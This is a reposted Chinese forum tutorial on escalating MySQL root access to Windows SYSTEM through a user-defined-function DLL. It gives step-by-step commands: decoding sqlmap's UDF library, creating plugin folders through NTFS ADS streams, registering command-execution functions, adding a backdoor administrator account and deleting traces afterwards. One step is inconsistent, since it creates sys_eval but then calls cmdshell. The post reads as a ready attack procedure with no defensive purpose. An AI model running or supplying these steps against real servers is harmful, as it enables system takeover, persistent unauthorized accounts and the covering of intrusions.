社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

MySQL UDF提权

系统安全运维 • 3 年前 • 476 次点击  

0x00 原理

udf = ‘user defined function‘,即‘用户自定义函数’。文件后缀为‘.dll’,常用c语言编写。

通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令。将MYSQL账号root转化为系统system权限。


0x01 思路

1. 将udf文件上传到指定位置  

sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can‘t open shared library ‘udf.dll‘。

  • sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_

  • sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_

但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

sqlmap中的udf文件提供的函数:

sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。


有了udf文件,接下来就是利用各种办法上传到网站指定目录下 

  • MySQL<5.0,导出路径随意;

  • 5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)

  • MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)

select @@basedir;  //查找到mysql的目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录


2. 从udf文件中引入自定义函数

create function sys_eval returns string soname 'udf.dll';    //sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名


3. 执行自定义函数

//新建账号waitalone,密码为waitalone.cnselect cmdshell('net user waitalone waitalone.cn /add'); //将waitalone加入管理员组select cmdshell('net localgroup administrators waitalone /add');


4.清除痕迹 

drop function cmdshell; 删除函数 delete from mysql.func where name='cmdshell'  删除函数


0x02 参考资料

http://www.mamicode.com/info-detail-2294087.htmlhttps://www.waitalone.cn/mysql-tiquan-summary.htmlhttps://blog.csdn.net/x728999452/article/details/52413974https://www.cnblogs.com/xishaonian/p/6016486.html


转自:https://blog.csdn.net/qq_26090065/article/details/81515355
推荐↓↓↓


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/123750
 
476 次点击